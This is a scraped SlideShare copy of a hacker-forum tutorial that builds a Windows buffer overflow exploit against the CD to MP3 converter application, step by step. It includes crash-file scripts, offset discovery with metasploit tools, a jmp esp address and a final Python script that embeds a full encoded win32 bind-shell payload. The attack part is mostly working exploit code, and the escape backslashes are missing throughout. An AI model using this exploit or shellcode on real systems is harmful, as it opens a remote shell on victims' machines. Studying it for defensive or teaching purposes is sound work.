SlideShare a Scribd company logo
http://www.garage4hackers.com/


Writing Simple Buffer Overflow Exploits
[+]By D4rk357 [lastman100@gmail.com]
[+]Special thanks to Peter Van Eckhoutte for his awesome Exploit writing series .
[+]Special thanks to Fb1h2s] for helping me out all the way.
[+]Garage4hackers.com [My Home in The Blue Nowhere]

Before Starting a practical demonstration of writing basic buffer overflow exploits we will first take a
look at concepts and theory first as Abraham Lincoln said “If I had 6 hours to chop a tree I would spend 4
hours sharpening my Axe”.

Broadly speaking Buffer Overflow or Buffer overrun is a condition when program tries to write more
data then the buffer it has been allocated. Commonly applications developed in Native languages ( c ,
c++) demonstrate this kind of vulnerability as there is no inbuilt protection against this kind of attack .

EIP or instruction pointer register is most important register from exploitation point of View. The
instruction pointer register (EIP) contains the offset address, relative to the start of the current code
segment, of the next sequential instruction to be executed so if we can somehow control this register
we can make it point to our shellcode and successfully execute the exploit .

Now too much of boring Grandpa Talks !! Let’s get the ball rolling !!

In this tutorial i will start from scratch and build a working exploit.

A public exploit for this is already available here http://www.exploit-db.com/exploits/15480/
First step is downloading and installing the vulnerable application from here http://www.exploit-
db.com/application/15480

Install Immunity Debugger or ollydbg or windbg anyone of it would do :) .

Now we will write a simple python code which will generate a .wav file and test the application against it

handle=open("crash.wav","a")
Crap="x41"*30000
handle.write(Crap)

Save the above code as crash.py and execute it .This little code upon execution will generate a file with
the name of crash.wav

Open the debugger of your choice in my case immunity debugger . Open the Executable of CD to MP3
converter and then click on execute.




               http://www.garage4hackers.com/
http://www.garage4hackers.com/




Now open your Crash.wav file in CD to MP3 converter in option wav to wav converter and BOOM the
application Dies instantly . NOw check your Debugger for what exactly happened .




             http://www.garage4hackers.com/
http://www.garage4hackers.com/




Woot Woot Eip has been overwritten . This means that if we somehow put our shellcode in any one of
the registers and make the EIP point to it then we can have a working exploit for this application :D .

Now The next step is to determine the Exact position at which EIP is overwritten . For that We will use a
couple of tools which comes with metasploit .
On windows Platform Open Cygwin and then browse to tools directory of metasploit. Once inside it
execute pattern_create.rb script which generates unique characters of whichever size you want .
By reducing the size of crap again and again in my script and getting a crash i figured it out a string of
5000 unique characters will be more than enough.
Syntax:
./pattern_create.rb 5000




              http://www.garage4hackers.com/
http://www.garage4hackers.com/




once the pattern is created copy it and put it in place of Crap .
Now Execute the application from debugger again and put in the newly generated Crash.wav(Delete
previous Crash.wav file before doing it as i am opening the file in append mode).
Check the Debugger again and you can see some numbers in the EIP which in my case is 31684630




Now in Cygwin Shell we will run pattern_offset to check where exactly EIP is being overwritten .
Syntax:
./pattern_offset.rb 31684630 5000




             http://www.garage4hackers.com/
http://www.garage4hackers.com/




And the location it gives me is 4112 great.

So Just to Cross Check that the position of EIP given by the tool is correct we will write a small script .
handle=open("crash.wav","a")
Crap="x41"*4112
Eip="x42"*4
handle.write(Crap

Again open the program through immunity debugger Execute it

After the application crashes check the Eip and you find there 42424242 which means the address found
by the tool is perfect .




              http://www.garage4hackers.com/
http://www.garage4hackers.com/




Now we have to find the location of a command in dll file which calls/goes to esp like jmp esp etc.

Now we will load the the application again in debugger and search jmp esp command in every dll that is
being loaded .( In immunity debugger we can take a look at executable
module screen and double click on each dll that is being loaded and then search for the specific
command in that address space.




After some tinkering out I found that the dll winmm.dll has a jmp esp command at 76B43ADC .

Great now we have almost everything we need to make a workable exploit .


              http://www.garage4hackers.com/
http://www.garage4hackers.com/



The address 76 B4 3A DC will be mentioned as xDC x3A xB4 x76 since we are passing it as a string to
EIP .

We will use win32 bind shell provided by metasploit encoded in alpha2 encoder

We will add some NOPS ( no operation bytes) before starting our shellcode because generally some
bytes at the starting are not interpreted by processor as command
so it could cause our exploit to fail . Adding Nops would increase the reliability of exploit .

And we get a telnet connection m/




[P.S] You will have to write your own exploit(modify EIP) as the addresses might differ .

Dont Try Post Mortem degubbing .. Debugger is not catching it ( Atleast in my computer)

P.S here's the source Code
handle=open("final.wav","a")
Crap="x41"*4112
Eip="xDCx3AxB4x76"
# win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
ShellCode=("xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49"
"x49x49x49x37x49x49x49x49x49x49x49x49x51x5ax6ax43"
"x58x30x41x31x50x41x42x6bx41x41x53x32x41x42x41x32"
"x42x41x30x42x41x58x50x38x41x42x75x4ax49x79x6cx62"
"x4ax48x6bx70x4dx38x68x6cx39x4bx4fx79x6fx6bx4fx73"
"x50x4cx4bx72x4cx46x44x57x54x4ex6bx31x55x67x4cx4e"
"x6bx63x4cx34x45x62x58x46x61x48x6fx4ex6bx50x4fx44"
"x58x6cx4bx51x4fx45x70x44x41x6ax4bx70x49x6ex6bx35"



              http://www.garage4hackers.com/
http://www.garage4hackers.com/


"x64x4cx4bx53x31x78x6ex75x61x6bx70x4fx69x6ex4cx4b"
"x34x4fx30x53x44x57x77x6fx31x4bx7ax74x4dx75x51x69"
"x52x68x6bx48x74x57x4bx70x54x64x64x47x58x50x75x6d"
"x35x4cx4bx31x4fx36x44x56x61x78x6bx63x56x6cx4bx54"
"x4cx70x4bx4ex6bx53x6fx75x4cx47x71x5ax4bx63x33x54"
"x6cx4ex6bx6bx39x30x6cx44x64x35x4cx71x71x5ax63x34"
"x71x6bx6bx72x44x6cx4bx37x33x76x50x4ex6bx71x50x56"
"x6cx6cx4bx44x30x65x4cx4cx6dx4cx4bx77x30x35x58x61"
"x4ex62x48x6cx4ex62x6ex44x4ex38x6cx50x50x4bx4fx5a"
"x76x45x36x70x53x41x76x32x48x70x33x56x52x45x38x42"
"x57x72x53x34x72x63x6fx72x74x6bx4fx78x50x72x48x38"
"x4bx58x6dx6bx4cx65x6bx42x70x49x6fx69x46x71x4fx6c"
"x49x6ax45x65x36x4fx71x4ax4dx35x58x53x32x50x55x32"
"x4ax35x52x49x6fx48x50x31x78x7ax79x36x69x4cx35x6c"
"x6dx70x57x39x6fx6ex36x70x53x32x73x62x73x56x33x52"
"x73x73x73x52x73x33x73x30x53x6bx4fx4ax70x35x36x75"
"x38x52x31x41x4cx61x76x50x53x4dx59x4dx31x4dx45x55"
"x38x69x34x56x7ax42x50x5ax67x36x37x79x6fx7ax76x61"
"x7ax76x70x66x31x73x65x39x6fx68x50x41x78x4dx74x4e"
"x4dx76x4ex68x69x42x77x79x6fx59x46x36x33x66x35x69"
"x6fx6ex30x45x38x4bx55x51x59x6fx76x72x69x42x77x6b"
"x4fx4ax76x70x50x46x34x36x34x53x65x79x6fx6ex30x6c"
"x53x65x38x4bx57x70x79x5ax66x52x59x30x57x69x6fx6a"
"x76x30x55x59x6fx6ex30x70x66x70x6ax53x54x72x46x62"
"x48x65x33x50x6dx6cx49x4dx35x31x7ax52x70x70x59x44"
"x69x7ax6cx4cx49x69x77x51x7ax71x54x4fx79x4bx52x34"
"x71x39x50x4cx33x4dx7ax6bx4ex71x52x44x6dx6bx4ex37"
"x32x54x6cx4ex73x4ex6dx33x4ax56x58x6cx6bx6cx6bx6e"
"x4bx53x58x64x32x69x6ex6cx73x44x56x6bx4fx73x45x47"
"x34x4bx4fx79x46x33x6bx42x77x73x62x30x51x73x61x72"
"x71x62x4ax33x31x42x71x50x51x72x75x50x51x49x6fx78"
"x50x71x78x4ex4dx39x49x75x55x6ax6ex70x53x4bx4fx59"
"x46x32x4ax4bx4fx49x6fx56x57x69x6fx5ax70x4ex6bx33"
"x67x49x6cx6dx53x39x54x55x34x39x6fx4bx66x31x42x69"
"x6fx4ax70x62x48x78x70x4dx5ax35x54x63x6fx70x53x39"
"x6fx4ex36x39x6fx38x50x43")
nops="x90"*50
handle.write(Crap+Eip+nops+ShellCode)




            http://www.garage4hackers.com/

More Related Content

PDF
Basic buffer overflow part1
PDF
Bugs found in GCC with the help of PVS-Studio
PDF
We Continue Exploring Tizen: C# Components Proved to be of High Quality
ODP
When Good Code Goes Bad: Tools and Techniques for Troubleshooting Plone
PDF
A Long-Awaited Check of Unreal Engine 4
PPTX
Task parallel library presentation
PPTX
Extending burp with python
PDF
Async await...oh wait!
Basic buffer overflow part1
Bugs found in GCC with the help of PVS-Studio
We Continue Exploring Tizen: C# Components Proved to be of High Quality
When Good Code Goes Bad: Tools and Techniques for Troubleshooting Plone
A Long-Awaited Check of Unreal Engine 4
Task parallel library presentation
Extending burp with python
Async await...oh wait!

What's hot (20)

PDF
Why Windows 8 drivers are buggy
ODP
Intro To Spring Python
PPT
Functional Testing Swing Applications with Frankenstein
PDF
Con-FESS 2015 - Having Fun With Javassist
PPSX
Async-await best practices in 10 minutes
PPTX
Using FakeIteasy
PDF
Asynchronous programming in .net 4.5 with c#
DOCX
Aws deployment
PPTX
Python Programming Essentials - M28 - Debugging with pdb
PDF
Ad-hoc Runtime Object Structure Visualizations with MetaLinks
PDF
Analyzing the Blender project with PVS-Studio
PPTX
Reversing malware analysis training part4 assembly programming basics
PPTX
Debugging tricks you wish you knew - Tamir Dresher
PDF
JAVASCRIPT Test Driven Development & Jasmine
PPTX
Legacy Dependency Kata v2.0
PDF
OTP application (with gen server child) - simple example
PDF
Course lecture - An introduction to the Return Oriented Programming
PPTX
Laravel Unit Testing
PDF
PVS-Studio vs Clang
PDF
Uccn1003 -may10_-_lab_01_-_network_services_and_commands
Why Windows 8 drivers are buggy
Intro To Spring Python
Functional Testing Swing Applications with Frankenstein
Con-FESS 2015 - Having Fun With Javassist
Async-await best practices in 10 minutes
Using FakeIteasy
Asynchronous programming in .net 4.5 with c#
Aws deployment
Python Programming Essentials - M28 - Debugging with pdb
Ad-hoc Runtime Object Structure Visualizations with MetaLinks
Analyzing the Blender project with PVS-Studio
Reversing malware analysis training part4 assembly programming basics
Debugging tricks you wish you knew - Tamir Dresher
JAVASCRIPT Test Driven Development & Jasmine
Legacy Dependency Kata v2.0
OTP application (with gen server child) - simple example
Course lecture - An introduction to the Return Oriented Programming
Laravel Unit Testing
PVS-Studio vs Clang
Uccn1003 -may10_-_lab_01_-_network_services_and_commands
Ad

Viewers also liked (17)

PDF
Основы баз данных
PDF
Мастер-класс: начало
PDF
Блогосфера и продвижение блогов
PPTX
Dll hijacking
PPTX
Presentation3
PDF
Динамическое программирование на ruby
PDF
Построение диаграмм по электронным таблицам
PDF
Инкапсуляция и полиморфизм в ruby
PDF
LMS42 в школьном образовании
PDF
Ruby — Паттерны программирования
PDF
Основы математической логики
PDF
Промо-презентация для мастер-класса "Образовательные и игровые платформы в по...
PDF
Хэши в ruby
PDF
Алгоритмы на ruby: жадные алгоритмы
PDF
Задачи по ruby
PDF
Мастер-класс: Anki карточки
PDF
Сервисы Google
Основы баз данных
Мастер-класс: начало
Блогосфера и продвижение блогов
Dll hijacking
Presentation3
Динамическое программирование на ruby
Построение диаграмм по электронным таблицам
Инкапсуляция и полиморфизм в ruby
LMS42 в школьном образовании
Ruby — Паттерны программирования
Основы математической логики
Промо-презентация для мастер-класса "Образовательные и игровые платформы в по...
Хэши в ruby
Алгоритмы на ruby: жадные алгоритмы
Задачи по ruby
Мастер-класс: Anki карточки
Сервисы Google
Ad

Similar to Writing simple buffer_overflow_exploits (20)

PDF
smash the stack , Menna Essa
ODP
Exploiting buffer overflows
PDF
Dive into exploit development
PDF
Penetration Testing for Easy RM to MP3 Converter Application and Post Exploit
PPTX
Anatomy of a Buffer Overflow Attack
PPTX
Vulnerability, exploit to metasploit
PDF
Fuzzing: Finding Your Own Bugs and 0days! 1.0
PDF
stackconf 2021 | Fuzzing: Finding Your Own Bugs and 0days!
PDF
Fuzzing: Finding Your Own Bugs and 0days! at Arab Security Conference
PPTX
Fuzzing | Null OWASP Mumbai | 2016 June
PPT
Writing Metasploit Plugins
PPTX
Reversing malware analysis training part10 exploit development basics
PDF
2011-03 Developing Windows Exploits
PDF
Louisville Infosec - Metasploit Class - Fuzzing and Exploit Development with ...
PPTX
ETCSS: Into the Mind of a Hacker
PDF
Buffer Overflow - Smashing the Stack
PPTX
Sending a for ahuh. win32 exploit development old school
PPTX
Buffer overflow – Smashing The Stack
PPS
Reverse Engineering for exploit writers
PPS
Nibin - Reverse Engineering for exploit writers - ClubHack2008
smash the stack , Menna Essa
Exploiting buffer overflows
Dive into exploit development
Penetration Testing for Easy RM to MP3 Converter Application and Post Exploit
Anatomy of a Buffer Overflow Attack
Vulnerability, exploit to metasploit
Fuzzing: Finding Your Own Bugs and 0days! 1.0
stackconf 2021 | Fuzzing: Finding Your Own Bugs and 0days!
Fuzzing: Finding Your Own Bugs and 0days! at Arab Security Conference
Fuzzing | Null OWASP Mumbai | 2016 June
Writing Metasploit Plugins
Reversing malware analysis training part10 exploit development basics
2011-03 Developing Windows Exploits
Louisville Infosec - Metasploit Class - Fuzzing and Exploit Development with ...
ETCSS: Into the Mind of a Hacker
Buffer Overflow - Smashing the Stack
Sending a for ahuh. win32 exploit development old school
Buffer overflow – Smashing The Stack
Reverse Engineering for exploit writers
Nibin - Reverse Engineering for exploit writers - ClubHack2008

Recently uploaded (20)

PDF
SIMNET Inc – 2023’s Most Trusted IT Services & Solution Provider
PDF
Outsourced Audit & Assurance in USA Why Globus Finanza is Your Trusted Choice
PPT
Chapter four Project-Preparation material
PDF
Katrina Stoneking: Shaking Up the Alcohol Beverage Industry
PPTX
Dragon_Fruit_Cultivation_in Nepal ppt.pptx
PDF
Business model innovation report 2022.pdf
PDF
Solara Labs: Empowering Health through Innovative Nutraceutical Solutions
PDF
kom-180-proposal-for-a-directive-amending-directive-2014-45-eu-and-directive-...
DOCX
Business Management - unit 1 and 2
PDF
WRN_Investor_Presentation_August 2025.pdf
PPTX
Belch_12e_PPT_Ch18_Accessible_university.pptx
PDF
Types of control:Qualitative vs Quantitative
PPTX
ICG2025_ICG 6th steering committee 30-8-24.pptx
PPTX
5 Stages of group development guide.pptx
PDF
20250805_A. Stotz All Weather Strategy - Performance review July 2025.pdf
PDF
COST SHEET- Tender and Quotation unit 2.pdf
DOCX
unit 1 COST ACCOUNTING AND COST SHEET
PPT
340036916-American-Literature-Literary-Period-Overview.ppt
PDF
Stem Cell Market Report | Trends, Growth & Forecast 2025-2034
PDF
How to Get Business Funding for Small Business Fast
SIMNET Inc – 2023’s Most Trusted IT Services & Solution Provider
Outsourced Audit & Assurance in USA Why Globus Finanza is Your Trusted Choice
Chapter four Project-Preparation material
Katrina Stoneking: Shaking Up the Alcohol Beverage Industry
Dragon_Fruit_Cultivation_in Nepal ppt.pptx
Business model innovation report 2022.pdf
Solara Labs: Empowering Health through Innovative Nutraceutical Solutions
kom-180-proposal-for-a-directive-amending-directive-2014-45-eu-and-directive-...
Business Management - unit 1 and 2
WRN_Investor_Presentation_August 2025.pdf
Belch_12e_PPT_Ch18_Accessible_university.pptx
Types of control:Qualitative vs Quantitative
ICG2025_ICG 6th steering committee 30-8-24.pptx
5 Stages of group development guide.pptx
20250805_A. Stotz All Weather Strategy - Performance review July 2025.pdf
COST SHEET- Tender and Quotation unit 2.pdf
unit 1 COST ACCOUNTING AND COST SHEET
340036916-American-Literature-Literary-Period-Overview.ppt
Stem Cell Market Report | Trends, Growth & Forecast 2025-2034
How to Get Business Funding for Small Business Fast

Writing simple buffer_overflow_exploits